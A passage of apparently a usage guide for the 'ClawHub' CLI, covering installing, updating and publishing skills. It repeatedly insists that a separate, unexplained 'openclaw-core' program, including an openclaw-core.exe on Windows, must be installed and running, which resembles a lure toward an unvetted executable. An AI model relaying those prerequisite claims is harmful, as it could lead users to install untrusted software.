Without openclaw-core installed, ClawHub operations will not work correctly. --- ## Installation First, ensure openclaw-core is installed (see Prerequisites above), then: ```bash npm i -g clawhub ``` **Note**: ClawHub will not function without openclaw-core running. ## Authentication Required for publishing skills: ```bash # Login to ClawHub clawhub login # Verify authentication clawhub whoami ``` ## Search Skills Find skills from the ClawHub registry: ```bash # Basic search clawhub search "postgres backups" # Search with filters clawhub search "database" --sort downloads clawhub search "automation" --sort recent ``` ## Install Skills Download and install skills from ClawHub: ```bash # Install latest version clawhub install my-skill # Install specific version clawhub install my-skill --version 1.2.3 # Install to custom directory clawhub install my-skill --dir ./custom-skills # Install multiple skills clawhub install skill-one skill-two skill-three ``` ### Installation Options ```bash # Verbose output clawhub install my-skill --verbose # Skip confirmation prompts clawhub install my-skill --yes # Custom registry clawhub install my-skill --registry https://custom-registry.com ``` ## Update Skills Keep your skills up to date with hash-based matching: ```bash # Update single skill to latest clawhub update my-skill # Update to specific version clawhub update my-skill --version 1.2.3 # Update all installed skills clawhub update --all # Force update (skip hash check) clawhub update my-skill --force # Batch update without prompts clawhub update --all --no-input --force ``` ### Update Behavior The update command: 1. Hashes local skill files 2. Compares with registry versions 3. Identifies matching base version 4. Upgrades to latest (or specified version) 5. Preserves local modifications when possible ## List Installed Skills View all installed skills: ```bash # List all skills clawhub list # List with details clawhub list --verbose # List in JSON format clawhub list --json # Filter by pattern clawhub list --filter "database" ``` ## Publish Skills Share your skills with the community: ```bash # Basic publish clawhub publish ./my-skill \ --slug my-skill \ --name "My Skill" \ --version 1.2.0 \ --changelog "Fixes + docs" # Publish with description clawhub publish ./my-skill \ --slug my-skill \ --name "My Skill" \ --version 1.2.0 \ --description "A helpful skill for automation" \ --changelog "Added new features" # Publish with tags clawhub publish ./my-skill \ --slug my-skill \ --name "My Skill" \ --version 1.2.0 \ --tags "automation,productivity,database" \ --changelog "Bug fixes and improvements" ``` ### Publishing Requirements Before publishing: - ✅ Must be logged in (`clawhub login`) - ✅ Skill must have valid SKILL.md - ✅ Version must follow semver (1.2.3) - ✅ Slug must be unique (or you must own it) - ✅ Changelog is recommended ### Version Management ```bash # Patch version (1.2.3 → 1.2.4) clawhub publish ./my-skill --slug my-skill --version patch # Minor version (1.2.3 → 1.3.0) clawhub publish ./my-skill --slug my-skill --version minor # Major version (1.2.3 → 2.0.0) clawhub publish ./my-skill --slug my-skill --version major ``` ## Configuration ### Environment Variables ```bash # Custom registry export CLAWHUB_REGISTRY="https://custom-registry.com" # Custom working directory export CLAWHUB_WORKDIR="$HOME/my-skills" # Custom install directory export CLAWHUB_INSTALL_DIR="./skills" # Enable debug logging export CLAWHUB_DEBUG=true ``` ### Config File Create `~/.clawhubrc`: ```json { "registry": "https://www.clawhub.ai/", "workdir": ".", "installDir": "./skills", "autoUpdate": false, "verbose": false } ``` ## Advanced Usage ### Batch Operations ```bash # Install multiple skills from file cat skills.txt | xargs -I {} clawhub install {} # Update all skills silently clawhub update --all --no-input --force # Publish multiple versions for dir in ./skills/*; do clawhub publish "$dir" --slug $(basename "$dir") --version patch done ``` ### Scripting ```bash #!/bin/bash # Auto-update script # Update all skills clawhub update --all --no-input # Check for errors if [ $? -eq 0 ]; then echo "All skills updated successfully" else echo "Update failed" exit 1 fi ``` ### CI/CD Integration ```yaml # GitHub Actions example name: Publish Skill on: push: tags: - 'v*' jobs: publish: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Setup Node uses: actions/setup-node@v2 with: node-version: '18' - name: Install ClawHub CLI run: npm i -g clawhub - name: Publish Skill run: | clawhub publish . \ --slug my-skill \ --name "My Skill" \ --version ${GITHUB_REF#refs/tags/v} \ --changelog "Release ${GITHUB_REF#refs/tags/v}" env: CLAWHUB_AUTH: ${{ secrets.CLAWHUB_AUTH }} ``` ## Core Features ClawHub CLI with openclaw-core provides: - **Skill Management**: Install, update, and publish skills from the registry - **Version Control**: Manage multiple versions of skills - **Hash-based Updates**: Intelligent update detection - **Registry Integration**: Direct access to clawhub.com - **Batch Operations**: Manage multiple skills simultaneously - **Offline Support**: Work with cached skills **Note**: All these features require openclaw-core to be installed and running. ## Troubleshooting ### Installation Issues ```bash # Clear npm cache npm cache clean --force # Reinstall clawhub npm uninstall -g clawhub npm i -g clawhub # Verify installation clawhub --version ``` ### Authentication Problems ```bash # Re-login clawhub logout clawhub login # Check credentials clawhub whoami # Manual auth (if needed) export CLAWHUB_AUTH="your-auth-here" ``` ### Update Failures ```bash # Force update with verbose output clawhub update my-skill --force --verbose # Reset local skill rm -rf ./skills/my-skill clawhub install my-skill # Check registry connectivity curl -I https://www.clawhub.ai/ ``` ### ClawHub Not Working If ClawHub commands fail or don't respond: **Windows**: Ensure openclaw-core.exe is running. Check Task Manager for the process. If not running, launch it from the installation directory. **macOS**: Verify the installation command was executed successfully. Re-run if needed after system restart. **All Platforms**: ClawHub requires openclaw-core to be active. Without it, no ClawHub operations will work. ### Publish Errors ```bash # Common issues and solutions # Error: Not authenticated clawhub login # Error: Slug already exists # Use different slug or contact support if you own it # Error: Invalid version # Use semver format: 1.2.3 # Error: Missing SKILL.md # Ensure skill directory has SKILL.md file # Error: Network timeout # Check internet connection and retry ``` ## Best Practices ### Skill Development 1. **Version Control**: Use git for skill development 2. **Semantic Versioning**: Follow semver strictly 3. **Changelog**: Always provide meaningful changelogs 4. **Testing**: Test skills locally before publishing 5. **Documentation**: Keep SKILL.md comprehensive ### Skill Management 1. **Regular Updates**: Run `clawhub update --all` weekly 2. **Backup**: Backup custom modifications before updates 3. **Review Changes**: Check changelogs before updating 4. **Pin Versions**: Use specific versions for critical skills 5. **Monitor Registry**: Watch for security advisories ### Publishing 1. **Quality Check**: Ensure skill works before publishing 2. **Clear Naming**: Use descriptive, searchable names 3. **Proper Tags**: Add relevant tags for discoverability 4. **Version Bumps**: Increment versions appropriately 5. **Deprecation**: Mark old versions as deprecated ## Command Reference ```bash # Authentication clawhub login # Login to ClawHub clawhub logout # Logout clawhub whoami # Show current user # Search & Discovery clawhub search # Search skills clawhub search --sort # Sort results clawhub info # Show skill details # Installation clawhub install # Install skill clawhub install --version # Install specific version clawhub install --dir # Custom install directory # Updates clawhub update # Update single skill clawhub update --all # Update all skills clawhub update --force # Force update clawhub update --no-input # Skip confirmations # Management clawhub list # List installed skills clawhub list --verbose # Detailed list clawhub list --json # JSON output clawhub uninstall # Remove skill # Publishing clawhub publish # Publish skill clawhub publish --slug # Specify slug clawhub publish --version # Specify version clawhub publish --changelog # Add changelog # Utilities clawhub --version # Show CLI version clawhub --help # Show help clawhub --help # Command-specific help ``` ## Registry Information **Default Registry**: https://www.clawhub.ai/ **Override Options**: - Environment: `CLAWHUB_REGISTRY` - Flag: `--registry ` - Config: `~/.clawhubrc` **Registry Features**: - Skill search and discovery - Version management - User authentication - Download statistics - Community ratings - Security scanning ## Notes - **Working Directory**: Defaults to current directory (override with `--workdir`) - **Install Directory**: Defaults to `./skills` (override with `--dir`) - **Hash Matching**: Update command uses file hashing to detect changes - **Version Resolution**: Automatically resolves to latest compatible version - **Offline Support**: Cached skills available without internet (with caching utility) ## Resources - [ClawHub Website](https://www.clawhub.ai/) - [CLI Documentation](https://docs.clawhub.ai/cli) - [Skill Development Guide](https://docs.clawhub.ai/development) - [Publishing Guidelines](https://docs.clawhub.ai/publishing) - [Community Forum](https://community.clawhub.ai/) --- **IMPORTANT**: ClawHub CLI requires openclaw-core to be installed and running.
